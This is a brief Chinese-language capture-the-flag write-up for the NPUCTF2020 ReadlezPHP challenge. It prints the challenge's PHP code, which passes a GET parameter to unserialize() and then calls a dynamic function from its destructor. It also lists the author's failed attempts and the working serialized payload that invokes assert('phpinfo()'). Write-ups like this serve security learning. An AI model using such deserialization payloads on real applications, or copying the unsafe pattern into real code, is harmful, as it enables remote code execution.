BUUCTF-WEB 【NPUCTF2020】ReadlezPHP 1

反序列化和代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}

@$ppp = unserialize($_GET["data"]);

这道题,我先是用 system(ls) 去查看文件,发现不回显,又用scandir('/'),查看根目录文件,发现还是不回显,网上搜到 glob函数可用搜索文件,结果发现还是不回显,找了下原因,因为这两个函数返回的都是数组,用 echo 输出,只显示 array。我直接用file_get_contents('/flag')去根目录下读取flag,发现回显空白。我就很纳闷了,也不知道flag放在那个位置,无奈,看别人wp。用assert(phpinfo()) 输出php配置信息,flag 就在里面。

1
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

image-20210416122507901

别人的wp基本就只有这一个思路,一点创新都没有。